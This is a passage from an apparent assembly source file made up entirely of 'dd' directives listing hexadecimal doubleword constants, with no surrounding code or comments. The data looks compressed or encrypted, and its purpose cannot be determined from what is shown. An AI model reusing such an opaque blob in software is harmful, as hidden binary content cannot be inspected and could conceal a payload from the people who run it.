0DA66DDF3h, 5ACB0090h, 0A0E0B225h, 0DC00FFE4h, 2E28E25Bh dd 179F4275h, 0F1853743h, 7BE43000h, 162AF341h, 0E7F8F3F8h dd 36C0C078h, 0B095A67h, 903B9F4Bh, 77BF2724h, 0D3680E75h dd 0FBC27477h, 9098F6ABh, 0A70050C2h, 92B46D0Eh, 370C55Ch dd 1FCC39E4h, 0FEA35EB1h, 2C61B00Fh, 0F8CB167Ch, 67C014C8h dd 5DD9294h, 8C46DBB4h, 73ECA8DEh, 6DFCA997h, 15C0EE90h dd 3179C444h, 0EE226001h, 8423139Dh, 11E40AEEh, 55EA0018h dd 0B3ACCAE9h, 0B2544A5Dh, 2AD40314h, 0D8F046A7h, 136E7097h dd 85B18240h, 108C3A84h, 60C0FFF4h, 0DB6F4217h, 0B999AC00h dd 3C5FC9D0h, 0E0935DCAh, 200A9806h, 0CC0BA842h, 616A8F7Ch dd 9C705C70h, 338E4157h, 0B79000Ch, 49A4A64Dh, 0A10F076Bh dd 0EE855851h, 2B6E765h, 72597BD8h, 5FA8925Dh, 0D393283Dh dd 32595C02h, 44A8C2B4h, 4BE89A5Ch, 0E2B4E3E7h, 0BEC1300Dh dd 0E4530807h, 2195D985h, 3502B4ADh, 0C1BF80A0h, 0C275785Ch dd 407C5CCEh, 0D6D900DCh, 767E35DAh, 0E42EB7CEh, 0C2515C07h dd 0CE2B9C71h, 0C00AC8FCh, 46FA8C39h, 33EF7C1Ch, 1062E429h dd 355600F0h, 0D04B525Dh, 0E166748Ch, 6BD451B0h, 0D900BD65h dd 0C10AAAEEh, 1298C558h, 0B9548BD2h, 8CA2D324h, 5FC0E8B7h dd 7CD6F4h, 1E048FF1h, 8579E3BFh, 9098227Ah, 0E0146DB7h dd 0DE0C1433h, 89A67D3Bh, 71D309EEh, 9812BAA4h, 0FBCB04Eh dd 620A061Bh, 0D6C9D241h, 0B16A803Ch, 76EB0795h, 623390Bh dd 31F0317Ch, 5CE249C9h, 8646D488h, 99AEB307h, 0CF55F09Bh dd 999C4Ch, 8298712Dh, 3B0657C6h, 5613E072h, 0A47A97F1h dd 34AA8C00h, 722F284Bh, 7769420Eh, 5404A49Bh, 0AC1CAD12h dd 0E09B8C0Bh, 17BC66A5h, 427802F8h, 5CC5E4C4h, 466A2C68h dd 0E94B6BE0h, 4B4C8C8Ch, 0DB4B29Ah, 0F8F706B0h, 1094152Bh dd 0AD00CDBCh, 0DD619279h, 43E5FC2h, 0C67420EEh, 7C44F867h dd 3C01BFF6h, 7287BE7Bh, 8E2FB654h, 0C018C8A4h, 55E5B731h dd 0C958F612h, 0C0939CACh, 0E43073A8h, 0AD03D216h, 1369F0E0h dd 0A737C96Dh, 7CDA4E40h, 0B2678E80h, 0C200C883h, 0E5CD4988h dd 168DEA68h, 0ADEE8C40h, 3CCD5E18h, 0F5A13C23h, 0F200CFFh dd 0EE4B2CFAh, 0DBD194E1h, 0BC206E01h, 4AC8C7h, 0E891AA7Eh dd 1D5D6E5h, 731D7022h, 65600DDh, 8CB20E46h, 2E07BC3Ch dd 0CB471215h, 50C2DD25h, 0D444D7h, 2F77A929h, 0C1368D90h dd 4445DE0Bh, 40C47E5Ch, 93FD2338h, 0CF9AB200h, 0AB61D571h dd 92140073h, 159F04C5h, 1E026778h, 0DAE405B0h, 25CC5CA3h dd 483C851h, 16A133B2h, 0C3B40219h, 6CA1CD88h, 0D8684Eh dd 9DE15F09h, 0B74BD83Ah, 20779C12h, 0CA27C38h, 0DC38008Fh dd 0DD7BFD0Eh, 81FBF0Fh, 76041F73h, 0B0E8F6E8h, 90755CA2h dd 7353B0E8h, 0B850B5Ah, 907244D7h, 0DCB61403h, 0A8045208h dd 8B76CCh, 6E3F5A93h, 0B56A4CF2h, 0DB7B7F28h, 0D2A44695h dd 0F8A8BC69h, 0DF048C87h, 619EE7AAh, 0AFEE3280h, 0C8F112D4h dd 4FB8E331h, 5B239C2Fh, 0A7520F18h, 0E481072Eh, 22CB57BCh dd 0B88206F6h, 8C64E28Dh, 6B02C480h, 5CE81C97h, 12FC88CFh dd 2CF008Ch, 0E9DC04F9h, 815FF94h, 4A0A290h, 1B469FC8h dd 23343BEAh, 3C9D009Bh, 333DAB8h, 0D9F96109h, 0A08470D0h dd 1710840Ch, 49CE2FCh, 85068F0h, 0E0F36B6Dh, 90F0C651h dd 639603D3h, 7A6E380Eh, 0B0082009h, 9F00F492h, 72E84C53h dd 0C22FE0E6h, 0A0800E1Fh, 0B598AE8Ch, 0E5DC054Fh, 0C1B99551h dd 2B09F3FCh, 55233C2Fh, 65CCAF00h, 9526A27Fh, 13C32860h dd 84302989h, 92914B4Ch, 91D5E724h, 0ABF01E30h, 98A000F8h dd 9FCAAE90h, 2B27C850h, 7954791Fh, 911887h, 7AC77119h dd 9076CDFDh, 1E13E501h, 25581AFAh, 1F1C4B7Fh, 9DC3474h dd 0B993A304h, 0C0CE8440h, 48B60F4Ah, 0B5D07EE3h, 4D004C34h dd 51C893A1h, 0BF90B1DCh, 780114BDh, 5BBAD62Fh, 714C40A1h dd 5CD1818h, 666FC639h, 2E54C808h, 0E8222FE7h, 0CBBD53Ch dd 0E061818h, 0B5C35C31h, 0B944EC4Eh, 4C300190h, 0C36E7854h dd 0B8D42D41h, 50C40091h, 74A4A135h, 59184B53h, 7C964D7h dd 4401003Fh, 9BBBB1D9h, 814A1817h, 5C15ACE0h, 18E8380Fh dd 6E7E1E8Ch, 0EC512D75h, 0F0697404h, 39302CE8h, 0EC5B11A1h dd 52A76A04h, 2FEA4501h dd 3E0B23F4h, 9882D400h, 4E9FE8Dh, 25FBC23Bh, 60E605h dd 0D1EB33CCh, 6BD75685h, 82A6AD04h, 0F8802B05h, 0B4027260h dd 0B16418F0h, 980F9Dh, 14C8EA4Ah, 5D5CA091h, 0D06C959Dh dd 9BBAE208h, 60D17AA3h, 23185859h, 20EB4E00h, 0C13F77A4h dd 37DA1262h, 0D6D4ADF0h, 74B8DCE9h, 780C9200h, 79182CB7h dd 4CE50505h, 0C3EDD86Eh, 0E4B06997h, 16584051h, 442089Ch dd 86467627h, 400EAC1Fh, 2890A675h, 0EA257440h, 4E047116h dd 0CF0BFEA8h, 0C0EC548Ch, 10AFD2DDh, 5A9F88B9h, 7DB6FBC0h dd 0EA374EAEh, 0D5E90153h, 729A1FFDh, 908AE280h, 0A0F92DA8h dd 30241A0Eh, 0A363CC00h, 0F652B076h, 0D43B80CEh, 102016F8h dd 1ED4B427h, 8404770Bh, 1CAC12F1h, 1AC6CC48h, 0BB0582BEh dd 0B905F468h, 6E563800h, 14D81C22h, 0C67AC08h, 7D4A4101h dd 201D0BF2h, 0F740D71Ch, 848C78B6h, 3A286095h, 9EAF35BAh dd 0DC02EA20h, 0A06E77C9h, 4CA5A9C8h, 0E2DD0156h, 0D81AED8Eh dd 0CE0AE57h, 16643h, 9E67EC79h, 0A9F3C002h, 0E03ED100h dd 0F69C3B1Bh, 20F0B0EDh, 0D452191Ah, 66C700B4h, 400BADCAh dd 0CD911C44h, 0E8AE45A8h, 253CA8B2h, 0FE50C018h, 0CA4F0035h dd 0AD71102Ch, 0B34067Fh, 98304960h, 7A6F241h, 8829D47Ch dd 3A6C3276h, 0B902D456h, 0D6924F5Dh, 0D1D78C20h, 0B4031E41h dd 0B2E0084Bh, 107800FFh, 0E5CEFD9Ah, 2BF51355h, 88D24488h dd 6A547C06h, 70213520h, 0B27D1688h, 8BCE0354h, 0D803EF8Dh dd 1D08FB55h, 3BBF1B4Fh, 8C8FC994h, 1878984Bh, 59B48h dd 0E50A528Ah, 0ECD4F1F7h, 8CE219F0h, 0BBFC59D6h, 61DF2DB0h dd 1F7F0814h, 40A69E5Ch, 7CCF0FB1h, 695F528Fh, 76A1491h dd 6E050438h, 0FE3DB4F8h, 0D4FD4C53h, 4673E9ACh, 90D53728h dd 206EFB4Eh, 3E859B07h, 792540EAh, 0EB5892AAh, 60361064h dd 38EDF827h, 18EF60C0h, 9097B1h, 0D503EA04h, 98098867h dd 0B04990B6h, 71D607A6h, 0BBF93992h, 5F400450h, 542612D2h dd 0A64CC76Ah, 209C49B5h, 5B2D9A1Fh, 96C133Ch, 785C87A4h dd 1208C0D8h, 53FECEB0h, 104C3A70h, 5CC0FFF4h, 0E7D171Eh dd 0F296E203h, 887E624Bh, 3379ECBAh, 618C2EC6h, 0E58BA011h dd 0C8408B4Fh, 0DE9DC013h, 0EA0915F1h, 0D685B4B7h, 88EC43DCh dd 525A1BE8h, 71DC9A25h, 3D068F98h, 6C56796Bh, 904DB756h dd 799DD4C2h, 90918F68h, 3F6CE192h, 5303A46Eh, 0E1688A33h dd 30D8FF99h, 8140A3A0h, 8C3A1392h, 69488822h, 5A90F788h dd 74B7F2h, 89033CBFh, 69FF0A87h, 0C454380Ch, 0A9AFC04Fh dd 0E6C725h, 63A6D7DFh, 0B6E7799Ah, 9D27802h, 0C8141B12h dd 2F7CCE28h, 104D6933h, 9B5B0C60h, 0D6BB2D22h, 3F7A0852h dd 0A00447Ah, 8C6688D9h, 221AF34h, 0BF74392Ah, 405CC00Ch dd 0F252F5E4h, 300FF240h, 8C265E47h, 8B40D445h, 0DB7594h dd 0D05BAF16h, 0BE218BCh, 0E6B5F012h, 0E8D738B8h, 1D741674h dd 0C4E978BDh, 0FB002F83h, 6A2E9925h, 5B01651Bh, 0E3289375h dd 0B9D59DE2h, 0BC1574A4h, 8C99BCA0h, 6E0059E2h, 0FCACF978h dd 1E79A01h, 6940B8C7h, 0CA8446CDh, 5202EC50h, 1AE396E1h dd 25D07630h, 0B2F82058h, 0CBC9E225h, 16AEA428h, 7A943A00h dd 93E988Ch, 5D848CECh, 97A73C71h, 0FC21BB50h, 0E62FC880h dd 94B151D8h, 72C340F8h, 2701B952h, 5CA1AA66h, 0CCCD41CBh dd 411AE830h, 1057F21Fh, 425FE18h, 57B744Ah, 8266C40Ch dd 4D201C04h, 0B09BF2h, 49445892h, 0B832CF0Ch, 0B2748600h dd 2AC90746h, 0F89D495Ch, 9F002BBCh, 9E2A6CCAh, 92C31FD2h dd 0DE881EDCh, 0F75940B8h, 0E5CD5F53h, 70D45100h, 2EF46AE4h dd 806271Eh, 4C4508A3h, 1F7D593Dh, 0ACC384DAh, 0B81F6B9Dh dd 0C1794h, 0FECC47ABh, 2C13901Ch, 0C7BD7E13h, 41FEF0D4h dd 0E68426D4h, 0ECDC2A0Eh, 0D67E1CB4h, 0E409E0A9h, 909D63D2h dd 5ACB55B4h, 994A49Fh, 82EEB02Dh, 641084ECh, 0B8770908h dd 3473E60Ah, 46844A5h, 0CEB646C3h, 0D310B825h, 69B874A9h dd 0A4CB2A01h, 0C9752D6Ch, 9466E70h, 0DEB51D79h, 77842871h dd 98F1EAE0h, 0E40C0B2Bh, 0F2A404h, 97E2558Fh, 0C20951C0h dd 80589B7Fh, 7D028607h, 83393113h, 0D0D675A9h, 380046E2h dd 4DDE6382h, 1411A43h, 34BC2D06h, 7352D52Bh, 699700CCh dd 0F99D56F6h, 8A13001Dh, 4DAB17F7h, 5C262262h, 0A0984CEh dd 278C7A44h, 0D87A2FB5h, 0A08C44h, 47910ACDh, 0AAAE77C9h dd 1E03B402h, 5552D760h, 0D1F2D805h, 72747ED4h, 0D25F1284h dd 0B1A244ACh, 0B01E5040h, 67DD5E12h, 0B28C890h, 9D3E00F2h dd 0EA13CE55h, 4124169Eh, 6828A2B6h, 1C080C0Ah, 6E9D989Ah dd 4A7FE249h, 1798A04Ch, 0B72C0298h, 0C2E00083h, 0B13CD1CEh dd 60414E8Ch, 13FE6C46h, 669DA984h, 0DE2C4018h, 17033271h dd 0A9210BF5h, 51F22F8h, 0DC0A9401h, 0E80AEAB0h, 9612F8B1h dd 76A088h, 0D3655FCFh, 5981F61Fh, 0C919CC09h, 70E47B0Fh dd 160435FFh, 0CD3DB9D5h, 0C23C5C80h, 0A89F487Bh, 0B87F7584h dd 0EC528028h, 4CAAE480h, 9A1064DCh, 0F388693Bh, 0FF9770F8h dd 559A050Eh, 597741E4h, 222B9F87h, 0F4676D5Ch, 26199C4h dd 0FE092036h, 0AA67AC0Bh, 3C7A3Bh, 80094060h, 0B8F3FC56h dd 0FCA2AD4Ah, 0C8A94A8Ch, 0FE5726h, 0D891D792h, 0CE6A79E2h dd 2526B870h, 800B128Ch, 0F80AD002h, 44105909h, 0E0BD346Ah dd 585C2FA8h, 0E0DDCFACh, 0FBCA6C0Dh, 0FA3F4C1h, 0EB242E93h dd 0BC19E222h, 0AA50205Ch, 44C7B5F3h, 66600864h, 0C87AC559h dd 380B5C90h, 0FBA2EFC2h, 19085954h, 130D3A30h, 495BCC57h dd 507011C0h, 40186F97h, 1CE5B233h, 88C4F84Ah, 0A23503Bh dd 44D2CD00h, 24A99FD8h, 0B5880C3h, 9C11162Eh, 0ACC42FAEh dd 0E08254ADh, 0D5010892h, 0FEF85FB0h, 3859CB10h, 9387645Ch dd 60D0962Dh, 13C11ECCh, 0F955E28Ch, 275BC0ECh, 0F057098h dd 2D94ED1h, 3FE660C0h, 0E23CFB76h, 0ACB6CE0Dh, 0B25CA0E0h dd 0A4637000h, 6216DD38h, 8A334ABAh, 10245CA8h, 909685Ah dd 4460BE90h, 227161Eh, 0F6640914h, 0B80801FCh, 14A87D6Eh dd 55ACA8FCh, 78F82F8Ch, 2887FC59h, 0F440262Ch, 25C476Dh dd 1A8593F8h, 3857413Ch, 670A0610h, 0C4E43967h, 842BEE3h dd 5C51A83Ah, 0B8D4E960h, 8BE100DCh, 2C23223Ch, 2101635Bh dd 269076DEh, 997A97FAh, 0BC6C78C8h, 4D008C9Bh, 95A2E215h dd 3CA4FD07h, 0BA2EBD42h, 92D03031h, 48926931h, 0C8603B41h dd 0F448B5C2h, 0C49C9FC0h, 8B9807DCh, 0B08D823Ah, 9008CDD2h dd 580CFE31h, 242E8418h, 3E58C0ACh, 0E909E7C9h, 74B5759Bh dd 6017F6B4h, 0BC097445h, 0A5D07B78h, 0BD4F85Eh, 0DD37A099h dd 0A0B9E0C6h, 23C1D50Fh, 0F09E5216h, 30EC27BBh, 76A467CDh dd 16BD6E8h, 1A5C02F0h, 24CCF6F0h, 7C06094Fh, 0DFE86Ah dd 0B8C74F60h, 97472C2Ah, 554674D4h, 0A6F1E500h, 8576AE8Ch dd 51203A2Dh, 0ACB14568h, 64804A2Ch, 3122E21Fh, 1E285920h dd 583032C4h, 204ED0h, 0F4588CD5h, 0BC0107E3h, 7026740Ah dd 5492FE97h, 0AED66150h, 84B6CAF2h, 4A7D1C1Dh, 0DB5AC8E2h dd 268D8188h, 0F02A569Ch, 0CE957158h, 413345E4h, 90CF68h dd 9F6820C1h, 0F0EDBC89h, 6B0116C0h, 0F64670D5h, 13DD0907h dd 1C109E4Ch, 987DAE8Dh, 3C846C99h, 0F1BFB2h, 3298DD2Ah dd 0C2B8E73Ch, 5C4C41E8h dd 0F07770CBh, 454F4010h, 0EFF84895h, 0F2230772h, 188DF66h dd 0F444873Bh, 0B300D6D9h, 55178BEBh, 5CE2E9B2h, 0B47BA058h dd 60412FF8h, 8FB1439h, 9021EE4h, 0D80316E8h, 0DD5617BCh dd 0ED5CACA7h, 96BF30EAh, 4F2E019h, 0FC207E50h, 0C0C8970Dh dd 0F9820242h, 68DBAF10h, 0FE404D50h, 179117A9h, 8060EC51h dd 94996C86h, 4E7051Bh, 0F876E2EAh, 0F7DE8044h, 0F3D12B4h dd 0A7C427F3h, 6BCD440h, 9600C394h, 25FE8C55h, 986F6C35h dd 744401F5h, 4F6EFC22h, 0D4223B86h, 35FE109Eh, 0BAA93802h dd 0D3AC0902h, 68CA7000h, 37244A07h, 8325D49h, 7454C0A7h dd 0D2648054h, 309A1B20h, 2089F338h, 0FF2FA397h, 0B45AD6h dd 0F59DF623h, 26EF336Bh, 3966B800h, 76D3C769h, 0F10059Eh dd 0C35BC2C3h, 6AB057C4h, 0D1F993Bh, 7E71A0h, 0E67EC015h dd 433D49h, 5C312C7Fh, 0F1AE09F4h, 0A7F02590h, 91F09A03h dd 8065F3BBh, 9927BCh, 110ED26Ch, 0CED3EDCDh, 1B8F371Eh dd 0A63E8380h, 9D26A1h, 7AC57C09h, 4A6250EEh, 0ADD09E1Eh dd 0CD648487h, 9637BDF0h, 2C0400E6h, 574A2D63h, 0FC00D1EAh dd 0E824F130h, 4E69B6h, 0E520BF48h, 0DB123ECBh, 97511D00h dd 6E9B5017h, 363A09F1h, 0F9805C0Dh, 757E3DA2h, 0FDF34000h dd 220E29B4h, 8078DE8Eh, 46785C2Bh, 0DA00792Ch, 0FBF11C52h dd 1E89414Fh, 40D67F1Fh, 0D1E3CFAAh, 3400E548h, 0F217CA2h dd 7DCE998Eh, 0D6381590h, 6348E813h, 6E178F0Eh, 8394C64Ah dd 2B8B7CFAh, 0F4ECFEB1h, 2F3897E5h, 0FC007D39h, 0CF25BE02h dd 2FC0B946h, 0F3E2E64Bh, 4E828C5Ch, 80531BDFh, 0DAECC0E7h dd 8DFE05h, 0DDD6CC7Bh, 8C21B608h, 0C2F84528h, 6454EF7Ch dd 0E62802ACh, 11C0A717h, 7B74317Ah, 0D9F001Ah, 73407D83h dd 21CE91BBh, 6BD22195h, 23D8DF8Fh, 4E1A0017h, 85CC6189h dd 0DB73AC38h, 72139B0Fh, 0C56A0012h, 123CAB1Dh, 400C6DB8h dd 534DDC4Ch, 0F2007AD8h, 3FBDA715h, 0D3509h, 0D504F1FAh dd 0E6B1E43Ah, 78B90A30h, 0E7D0D8h, 85C2D9F7h, 3A9FBB55h dd 0E5743200h, 5193E164h, 33B80027h, 0F58F3C6Ch, 0CA0091E8h dd 446E7890h, 0C81408h, 68B721A3h, 0AB9C2EFCh, 0C0F61028h dd 1AC23Dh, 0E14FDB7Bh, 9B0FB7h, 39AE1125h, 0DC9049DFh dd 46F7CE00h, 0CCF46CDAh, 0C00300C4h, 712856F8h, 54009031h dd 0B1C26816h, 1C8B43EFh, 0E6516A2Eh, 0A89E943Ch, 6CA03A80h dd 1D00E223h, 0E774A9B6h, 903BCC5Ch, 47FC018Ch, 0A71F8131h dd 9A0024A0h, 43B13D0Fh, 8AAB80D3h, 0E6BB3220h, 89071E54h dd 0C0609CEEh, 0FAEF7BA2h, 10900845h, 3400AF42h, 245119DFh dd 0EC00C4A6h, 4F1BDB1Dh, 3462095h, 0DD41F403h, 0FCF8D228h dd 50C08DA8h, 0F665058Ah, 6BE826BDh, 0A9170004h, 0EBE9DA64h dd 0AC18E10Fh, 4219A00Dh, 0D92ED7h, 39B41141h, 0E95EB524h dd 3DA1D00h, 4ED0B119h, 0EC0C004Fh, 58489871h, 0C77FACF4h dd 0DD3D1F00h, 2B70AA34h, 20C4000Ah, 9929BA6Dh, 6300C1E8h dd 3F66CA48h, 0B06E1EEBh, 0A8FF0016h, 0D7703C67h, 8800D1CBh dd 5E160D98h, 3D36AC46h, 34376048h, 704DA038h, 11C090B8h dd 42D39296h, 744B625h, 10F373EBh, 5D763195h, 13F2D203h dd 0C8AD5ABDh, 0C320DEh, 0D967FF40h, 645EF7AEh, 65479000h dd 13DBA818h, 7C700069h, 765967F1h, 624C4204h, 0EFE47B05h dd 1B7D1DE2h, 899F41Eh, 369DBF80h, 0DF498D67h, 65504090h dd 79F09474h, 0D7ED1213h, 0A3672830h, 5EC900A5h, 8F04FEEAh dd 0F100022Ah, 0D73C5BA7h, 122F6E72h, 10B027ECh, 79128089h dd 0FE28C0D1h, 41010EE3h, 2E5D618Fh, 8C705CB3h, 478658FBh dd 40609318h, 0D918B7A4h, 441092C3h, 0F6D60173h, 828E97A1h dd 0EE28800Ah, 5AE6BC24h, 63180043h, 4F6F55D9h, 0D090C1E5h dd 0CE698104h, 7892917Ah, 98AC93E9h, 0ECF19h, 24DA9BF6h dd 88FF4236h, 0A1002090h, 348E08FDh, 0C50FA0h, 2155EB7Bh dd 45D3059Dh, 0A113C400h, 28E066B5h, 0FE11FEA3h, 3B54797Ch dd 0D28395DEh, 896C17F6h, 3E02B000h, 50F54BD8h, 40C70FF1h dd 39E0C022h, 0BCC89AE3h, 0EFD88200h, 0ADF4F36Dh, 1E3F0043h dd 0AEFACCB2h, 0DD079CDFh, 50B0E015h, 0E394F4D3h, 0F08EE836h dd 0AC1000B3h, 0EB44E37h, 6E00E99Eh, 178244E8h, 0E6B875Ch dd 60D88D72h, 1EE6E100h, 69030783h, 5FA38C73h, 29510F4Ch dd 0E60FCF75h, 6D963D20h, 9C006705h, 79D6C28Ch, 0EC6AE921h dd 0A0880042h, 62B61FC1h, 0F6070367h, 0EFDE9268h, 39A6FEF1h dd 5088BC60h, 0A00FC81Bh, 0C08113BEh, 4D6CF519h, 0EEA3204h dd 14DC5D07h, 0CBA03AAAh, 58E4E10Dh, 0CC009970h, 0FF673CE9h dd 23712560h, 300F3B0h, 8536B41Ch, 58D94CA3h, 0A603FAB8h dd 0F86D0719h, 0AD65A288h, 0E9FEF092h, 0C848209Dh, 4DB999h dd 2DE0084Fh, 904EAEEFh, 28409100h, 0F6E72676h, 9AC703D8h dd 3E63BC52h, 0DC386088h, 0DFC19F00h, 74A86676h, 6EC3012Bh dd 0ECD19810h, 161C7981h, 94E93CCEh, 0B1790400h, 0B5231974h dd 2C6B577Eh, 0F030F018h, 11286704h, 3F27805Bh, 9B034415h dd 4F1267ACh, 6D4900B4h, 0D40E5026h, 0F06030BEh, 4AA31D20h dd 19DF099h, 93F4C8D9h, 911C83EAh, 0FE034738h, 535BE53h dd 0C154FFC0h, 77083B50h, 9A166C00h, 9814099Bh, 84EC28D4h dd 34920F64h, 9363C469h, 90E0C8D1h, 3212C6DBh, 1095AB7Eh dd 0E6006CACh, 445BFD53h, 0F83B19E1h, 47E006Eh, 0ABA96CB5h dd 5C400067h, 293D4DFCh, 5278EFF9h, 0D21FDD00h, 8DCA6F47h dd 47F1F0Eh, 0DAA10025h, 27841369h, 0D9EBCD01h, 3E6ED2DDh dd 25E366F0h, 0E476F836h, 1D20C46Bh, 0EE12BFE7h, 162B006Fh dd 0E07D65ABh, 0A9DE341Eh, 0B94945CCh, 0C7C0002Eh, 7C37221Fh dd 0C31686ECh, 74B0D258h, 13CE0453h, 0B54C983Bh, 30883E8Ch dd 0FC07001Bh, 0FEB97C0Bh, 4D00ACE0h, 0B2689201h, 9CA93DEh dd 0FFBB1C63h, 0DCD8D6h, 8B149CACh, 0F5283B53h, 0FE2D4700h dd 76340129h, 0E80B041Ch, 0EFABAAEAh, 5623F43Ah, 0D613540Ah dd 556A9D00h, 0B8518F6h, 42AD70CBh, 0D270A873h, 8E6014A9h dd 9003FE6Fh, 6C720181h, 0E474D90Bh, 0CF218255h, 408854C0h dd 0B741B538h, 48C8B612h, 0C7734B4h, 941E4AB0h, 0B6128DE1h dd 94FC1178h, 0B874FD97h, 0ABA4009Ch, 0ED2959B1h, 72093C94h dd 7E53DF63h, 3777699Ch, 0C1820230h, 84D72120h, 0E2426784h dd 982083D2h, 0BF4E1C0Ah, 6943A822h, 60684D55h, 4A667057h dd 0BF077BF4h, 0EC55D5A0h, 5F5810C2h, 294EBC94h, 3ACA9821h dd 4C6B5600h, 9DD96E04h, 0B08085E5h, 970F31C8h, 1C0258E4h dd 59083E07h, 8C9877CAh, 0C89D7448h, 0B75DD748h, 0F600DCC7h dd 0BAF5E4F9h, 0CDBF32h, 0D99AA4C0h, 6FB215E4h, 2208A0ADh dd 0C6274C78h, 5E70B6FCh, 82000C46h, 1F784589h, 0F85B1A98h dd 669DE405h, 0AAC4400h, 0C0552h, 0DA3897ABh, 71589D6Fh dd 6813820Fh, 0FE1606Dh, 97700981h, 7DEE44ECh, 2510419Fh dd 2864BE04h, 84BCF8A8h, 0DA90048Ch, 0ACFF0136h, 57C8C10Ch dd 0FD021556h, 0B84C905Fh, 0D5F90BE0h, 4C67BAECh, 0C4601944h dd 0C72FDAE2h, 0B08C258Bh, 0F9DC12BAh, 0DDFB8B4h, 879BC2E4h dd 208C2F51h, 8C26882Bh, 843270h, 951D49FEh, 0FDD5C918h dd 0D093E500h, 1AF848A4h, 9309E10h, 607CF149h, 8400CA48h dd 918E32BDh, 2CE197D4h dd 0BC76082Ah, 4BCA4194h, 2BE04ABh, 9A847E38h, 261434F6h dd 0C2640414h, 0D49F18Fh, 8860D8EAh, 8095A257h, 0BEE259CCh dd 87CC2D90h, 0C51E0040h, 341C2AB5h, 2D4E6408h, 0F35A8870h dd 21570C8Ch, 0FF043CE6h, 3B0B6941h, 0DDE83C13h, 5A01C9D9h dd 5CEC58CAh, 86CC9EC0h, 12A1B0AEh, 0FC662FA4h, 0CB74C214h dd 98485F9Fh, 1227E897h, 170D9F1h, 7C19BFEAh, 4096A52h dd 400CF66Dh, 81D073EFh, 0ADA30200h, 47612158h, 1FB30793h dd 0C02475B2h, 0CFEA1838h, 8007B0A1h, 31349039h, 24B4F3A5h dd 96543F44h, 0CE00A0C9h, 5181E763h, 0FCFCCC02h, 9A85FA88h dd 4CECB03Ah, 83A2EA0Bh, 170270D4h, 0FFC2E8AEh, 1082D811h dd 65BE9877h, 0C52E58E1h, 0D70CA06Ah, 0A1E4989Fh, 951898E9h dd 3DC6084Dh, 0DC90B438h, 129C374Dh, 6FBE666Ah, 1552354h dd 767EB929h, 99462E0h, 0F1F7EBB6h, 0FFF4D820h, 0C2910086h dd 2A0C5C8Ah, 0BA05A706h, 4EB00833h, 123F80F1h, 46EBF40h dd 40EF6800h, 0BA02FB98h, 4B0235Bh, 8C519769h, 42FE1E92h dd 16D26F14h, 665B8448h, 9FC91B60h, 4F0E69h, 2B811770h dd 9D53C90h, 0CE5FF702h, 5F31EDAAh, 0B9CC9C04h, 0E8791658h dd 0D3AC88F9h, 0DA99C200h, 0F05AC589h, 3CAA4990h, 0C806773Bh dd 0C1994D7Fh, 10FCECA1h, 413BBA3Ch, 0C0CC7EA9h, 33D218E4h dd 0B00A1986h, 1CF65E4Fh, 0CD2BDB02h, 0F0602F6Bh, 5F8A7FE3h dd 73AF1017h, 53095050h, 338A470Fh, 240E3622h, 0D4271046h dd 9E1A38C8h, 66036201h, 89E234C3h, 2DC4C034h, 4CF9B67Eh dd 74490D44h, 2C4450D4h, 0B80034BFh, 131320F0h, 0B082B009h dd 33027C98h, 55C25B38h, 64507EA1h, 6B9A0811h, 72D41C76h dd 8BF9040Ch, 0BE9D77E2h, 6AC9F071h, 9087A3Ah, 57A79EB8h dd 3D012C90h, 0F3C36E25h, 6B391F0h, 5F403A98h, 0C3BA2481h dd 96B1840Ch, 0DCD4ABB0h, 0A904C5AEh, 0ECC9B8CCh, 0DE901386h dd 0E3DCE669h, 63F88821h, 175F12ADh, 3E70E127h, 0E8E4944Bh dd 887EE024h, 72258576h, 9CD03DA4h, 0D07B00C8h, 38693D05h dd 6DE35F04h, 3FC61A85h, 0F8CC4A58h, 20BBD308h, 91B99E98h dd 0E384A00h, 0D3973B8Dh, 0DD3A25B5h, 4F626476h, 60E85DD2h dd 8D41BBBAh, 0B29820h, 2C60209Dh, 0CFA4D6E7h, 41C0E916h dd 0E0214C13h, 49BC7406h, 44A4C04Eh, 1A6367D4h, 808DC121h dd 0D5DF3Eh, 8F7D34BEh, 47CB1ED3h, 0FD33EC1Fh, 0BB92399Ch dd 23602FEFh, 97823883h, 20A994AEh, 7DC8325Dh, 84911817h dd 590FBD80h, 765BC5C2h, 0D00184A6h, 6B3BA53Ch, 204A2B6Ch dd 0DA25F097h, 0B2E41704h, 5BF4F8CFh, 41214B3h, 0E443EAD2h dd 5874229Ah, 1B187831h, 0C8721987h, 5528E29Dh, 0AEC044CDh dd 0E96481h, 986699EBh, 9B79E255h, 7445F525h, 0B8E680F4h dd 8F4A04CAh, 0A039D800h, 0DAE489ABh, 0B4805A03h, 8616E868h dd 98BD97FCh, 461F6CBCh, 0D513B598h, 7B80BCFCh, 0A0D3507Ch dd 272B6A01h, 1D5FE7E9h, 20FC7E4h, 4F065C56h, 6D7705FFh dd 43BAC0A8h, 0FB504E73h, 8E4B7BC4h, 257CD4E7h, 5807EFC2h dd 897DC0B9h, 41242036h, 230280C1h, 0FC9ECC50h, 17465E40h dd 8D195A00h, 0D15D7EB0h, 32398102h, 0E9C26C46h, 353F5F70h dd 84488E64h, 6430FC08h, 5B025CECh, 0CE4FFB44h, 6C7E0Fh dd 0BB743BBCh, 0AF3C0624h, 0BA9B02C7h, 0FFCA17D3h, 65705422h dd 9F4CDA21h, 0BFFC247Eh, 5E15A431h, 8290DB6Fh, 63C0FB14h dd 2CFCB4F4h, 3EB825B1h, 97B34428h, 6B6148CFh, 4E7AD6C0h dd 3400A2B4h, 3E632937h, 41AB6A00h, 5B4B2F75h, 0C8F83CFBh dd 2BD6CA0Dh, 0C0DB7F31h, 2D8A980h, 0FB0B3866h, 0FC41AE21h dd 7CD925A8h, 0BFB17D7h, 481F44B4h, 6800463Fh, 6EB16608h dd 134C811Bh, 7C2098Ch, 0C1677F5h, 13DA9C22h, 414DE28Dh dd 3AE01F14h, 68177FA4h, 81228CBCh, 9E900816h, 184BCCB1h dd 0F3F06E13h, 0C068B79Ch, 0B17B0299h, 0C4982626h, 0EC804018h dd 3A4D0960h, 74F12136h, 53B8C782h, 0F89ADDB0h, 0F578DC71h dd 100286FFh, 2BD8F86Bh, 30DEC029h, 0C3A129Ah, 0C9D4ED41h dd 0C8C08FB1h, 5E1E0BFEh, 0F57F8887h, 2C6EEAFCh, 6B90ED00h dd 0EBB73FEAh, 0E0A72B8h, 0A8020AB0h, 0BF6CA02Dh, 4E7D2B38h dd 0CF84F8C0h, 1D0549C8h, 80151194h, 0AC1FE12Fh, 0CA1E277Ch dd 3F02F811h, 5F71E892h, 2140BC15h, 2D6D2FFh, 0C6E019BEh dd 64DE6677h, 